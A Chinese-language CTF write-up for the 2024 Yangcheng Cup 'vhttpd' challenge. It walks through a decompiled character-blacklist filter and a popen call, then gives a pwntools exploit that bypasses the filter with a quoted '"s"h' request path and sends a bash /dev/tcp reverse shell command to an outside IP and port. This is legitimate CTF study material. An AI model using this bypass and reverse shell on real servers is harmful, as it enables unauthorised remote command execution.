基于popen函数的攻击
- 2024羊城杯vhttpd 题目没有给libc,保护全开,还是32位,看到这些基本就没有想栈溢出方面的事情了
可以发现这个与以往的web pwn有一些不同,这里有个之前没见过的过滤函数,但绕过这个过滤很简单
_BOOL4 __cdecl whitelist(const char *a1)
{
_BOOL4 result; // eax
char needle[3]; // [esp+15h] [ebp-13h] BYREF
char v3[4]; // [esp+18h] [ebp-10h] BYREF
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
strcpy(needle, "sh");
strcpy(v3, "bin");
if ( strchr(a1, '&') )
{
result = 0;
}
else if ( strchr(a1, '|') )
{
result = 0;
}
else if ( strchr(a1, ';') )
{
result = 0;
}
else if ( strchr(a1, '$') )
{
result = 0;
}
else if ( strchr(a1, '{') )
{
result = 0;
}
else if ( strchr(a1, '}') )
{
result = 0;
}
else if ( strchr(a1, '`') )
{
result = 0;
}
else if ( strstr(a1, needle) )
{
result = 0;
}
else
{
result = strstr(a1, v3) == 0;
}
if ( v4 != __readgsdword(0x14u) )
stack_fail_error();
return result;
}
然后看看有没有目录穿越,发现是做不到的,注意到这里有一段代码,最关键的就是这个popen函数
popen 函数用于创建一个管道,通过该管道可以让一个进程执行 shell 命令并与该命令进行输入或输出通信。
/*
FILE *freopen(const char *filename, const char *mode, FILE *stream);
freopen 函数用于重定向一个已经打开的文件流。它可以将一个文件流(例如 stdin、stdout 或 stderr)重定向到一个指定的文件。
int dup(int oldfd);
返回值: 成功时,返回新的文件描述符(一个非负整数);失败时,返回 -1,并设置 errno 以指示错误。
int dup2(int oldfd, int newfd);
dup2 函数的具体作用是将一个现有的文件描述符(newfd)复制到另一个指定的文件描述符(oldfd)上。这个操作使得两个文件描述符指向同一个文件或资源,拥有相同的文件偏移量和访问模式。
*/
v3 = fileno(stdout);
new_stdout = dup(v3);
v4 = fileno(stderr);
new_stderr = dup(v4);
freopen("/dev/null", "w", stdout);
freopen("/dev/null", "w", stderr);
stream = popen("sh >/dev/null", modes);
if ( stream )
{
pclose(stream);
v6 = fileno(stdout);
dup2(new_stdout, v6);
v7 = fileno(stderr);
dup2(new_stderr, v7);
close(new_stdout);
close(new_stderr);
/*
...
*/
}
- 由此思路就明确了,直接用这个popen函数执行sh,然后反弹shell即可
- exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/httpd")
# p=remote('139.155.126.78',31700)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/httpd")
libc=elf.libc
def dbg():
gdb.attach(p,"b *$rebase(0x1BEE)")
pause()
host = '0.0.0.10'
request = 'GET /"s"h HTTP/1.0\r\n'
request += 'Host: ' + host + '\r\n'
request += 'Content-Length: 0\r\n'
p.sendline(request)
p.sendline('bash -c "bash -i >& /dev/tcp/172.18.211.41/7777 0>&1"')
p.interactive()